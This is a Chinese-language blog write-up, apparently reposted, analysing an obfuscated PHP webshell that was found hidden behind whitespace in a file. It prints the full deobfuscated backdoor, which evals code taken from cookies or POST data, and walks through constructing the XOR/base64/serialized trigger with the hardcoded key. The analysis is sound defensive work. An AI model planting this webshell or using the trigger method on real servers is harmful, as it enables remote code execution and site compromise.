php插马,记一次对php猥琐马的爆菊分析(上)
前言
最近遇到個文件,打開一看只有幾行注釋?看了下字節數卻很大,橫向進度條很長啊,通過web訪問是空白,看上去應該是藏了后門了。
ps:這種方式遇到粗心/沒有經驗的管理員可能混過去,但若使用win自帶的記事本(需開啟自動換行)則一覽無余。
實際上換行整理一下:
用Notepad++自帶的正則替換簡單做了下格式處理。
另外在下面的代碼中發現了?eval/*r49557ec*/(
還插了注釋,這個小方法很有意思,測試了下函數與"("中間插注釋確實不影響執行。
但實際我測試用類似的注釋方式填充敏感函數,過不了D盾。
一、還原廬山真面目
在進行替換/整理/和諧部分變量名之后,得到如下完整后門代碼(整理后代碼):<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
$vv = NULL;
$kk = NULL;
$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
global $c77700426;
function e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i
for ($p=0;$p
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
function x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
}
?>
1.前面的代碼部分:需要用到的函數裝入變量數組/并拆分拼接
2.定義了兩個功能函數,主要用來驗證/處理
3.經過一系列限定條件的判斷等,最終觸發eval/*r49557ec*/(
4.整個后門的函數/字符串傳遞幾乎都是使用數組+拼接的方式進行的
這是大致的邏輯,實際爆菊成功之前有幾件事要做:
1.調試出各種已定義變量的值
2.替換字變量/函數名,增加可讀性
3.通過倒序的方式,逐步嘗試調用后門,明確調用邏輯。首先前面幾行:
$GLOBALS['w8fd00d8'] = Array();??//定義全局數組,用于保存后面的各種函數名/字符串,以及直接作為函數執行 ,如$GLOBALS['xx']()
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
//這里有一個發現,如果變量是被$GLOBALS賦值,那么此變量也會隨著$GLOBALS的值實時更新
如:
$test = $GLOBALS;
訪問:?handsome=321123
$test值也有handsome=321123
這個特性我查了半天資料,沒有找到原因。
下面:
${ "\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
查了下似乎是16進制或Unicode編碼,雙引號情況下可以直接輸出其值。
由于是16進制,在單引號包裹的情況下也可以使用chr(hexdec(字符串))進行解碼。
當然,我直接打印了所有已定義變量,得到如下:
[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr
[z2d33f00] => ord
[v618c417c] => define
[hb67d10] => strlen
[r018ad5] => defined
[x8a4] => ini_set
[n2eb] => serialize
[be64] => phpversion
[f8d94b] => unserialize
[kdd72d] => base64_decode
[k23b] => set_time_limit
[s6f48] => x184f5cc
[jf1ef40] => e664fd
[c68905ea] => Array
發現
敏感函數unserialize //可能需要反序列化操作
其中下標[a904]的值由于存在特殊字符,沒有顯示完全,另外如需利用到[a904]的值也要考慮這個問題,不能直接輸出使用。
二、觸發條件分析
當時按順序讀了下功能,事后復盤發現,可能比較高效的做法是倒序著讀,順著最下面的執行邏輯往上去構造條件。
所以既然重點在
eval/*r49557ec*/($vv['d']);
那設法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
可以先不考慮x184f5cc(base64_decode($vv), $kk)是怎么來的,我們先直接修改$vv的值,看怎樣才能滿足執行條件。
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
if ($vv['a'] == 'i'){
$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
echo @serialize($l71c40);
}
elseif ($vv['a'] == 'e'){
eval/*r49557ec*/($vv['d']);
}
}
exit();
后門觸發條件:
1.$vv需要是數組
2.成員必須存在'ak'且'ak'需等于$c77700426的值
$c77700426的值在上面已有定義:為'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
3.成員需存在'a',若值為'i'則輸出版本,為'e'則觸發后門
4.后門執行內容為成員'd'的值
所以$vv需要等于↓↓
array(
'ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
'a'=>'e',
'd'=>'執行代碼' //如phpinfo();
);
.直接傳入試試有沒有問題 :
可以執行,回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我們構造的數組
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
看下x184f5cc()函數做了什么操作?
function??x184f5cc($vv, $kk){
global $w8fd00d8;
global $c77700426;
return e664fd(e664fd($vv, $c77700426), $kk);
}
1.其中$w8fd00d8相當于$GLOBALS
$c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.經過兩次核心混淆函數e664fd()的處理
這時候重新理一下:
我們必須使e664fd(e664fd($vv, $c77700426), $kk);的返回結果為 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
再來看一下e664fd()函數
function??e664fd($vv, $kk){
global $w8fd00d8;
$n513761 = "";
for ($i=0;$i
for ($p=0;$p
$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
}
}
return $n513761;
}
大致功能就是把傳入的兩個參數值逐個字符轉為ASCII碼并進行位運算(取反),得到的結果以字符串形式返回。
位取反有個特點:
1.A與B取反=C
2.B與C取反=A
可逆,B^C當然就得到A了。所以回過頭看:我們必須使函數↓↓
e664fd(e664fd($vv, $c77700426), $kk);
的返回結果為 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
也就是我們需要在第二次我們必須使e664fd()時候,讓e664fd($vv, $c77700426)與$kk的取反結果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
于是需要看看$kk的值是如何過來的,
foreach ($_COOKIE as $k=>$v){
$vv = $v;
$kk = $k;
}
if (!$vv){
foreach ($_POST as $k=>$v){
$vv = $v;
$kk = $k;
}
}
發現$kk/$vv前后沒有做什么驗證,代碼就是就是比較單純的獲取COOKIE或POST提交過來的參數名和參數值并傳給$kk/$vv
我們通過cookie提交來驗證一下是否正常輸出:
沒問題!
三、確定爆菊思路
然后我們大致確定下構造的思路:
e664fd(e664fd($vv, $c77700426), $kk);
第一次e664fd()執行時:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
需返回能與第二次e664fd() cookie參數名取反結果為a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值
第二次e664fd()執行時:
e664fd(第一次的返回值, $kk);
//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
所以構造思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie參數名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照這個邏輯進行參數提交,方可觸發后門。
但COOKIE/POST中參數名對特殊字符支持有限,所以$kk(參數名)的值最好在字母/數字范圍內,好在$vv(參數值)的值就寬容的多,尤其是由于$vv傳遞過程需要Base64解碼,所以,cookie值需base64編碼,可以取反的字符范圍就比較大了。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
我們先把$kk也就是cookie參數名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'(也可以是任意字符 cookie參數名允許即可)
具體長度取決于我們的payload序列化后的字符長度(phpinfo()的序列化后長度是101個字符),兩者長度要一致。
四、寫個Payload腳本
大致實現通過傳參生成任意執行代碼的payload,如果要更懶的話可以直接寫提交過去。
Payload代碼:
生成結果:
執行結果:
問題:
為何我測試許久發現提交的命令只要大于11個字符就報錯,應該不是cookie參數名長度問題,希望有兄弟解答!
..........
彩蛋
我在分析此后門過程中,前面提到的導致無法執行超過11位的payload。
Heihu577兄弟進行了調試并提醒了我原因所在,我很感謝他,并且他把此馬進一步拓展利用,不僅改了過查殺,還可以直接用于SHELL管理工具(如蟻劍),他的文章很精彩,讓我們一起拭目以待他的下文吧!
總結
以上是生活随笔為你收集整理的php插马,记一次对php猥琐马的爆菊分析(上)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 过敏性鼻炎吃什么药好?怎么养?
- 下一篇: php编写程序百马百担问题_编程,百马百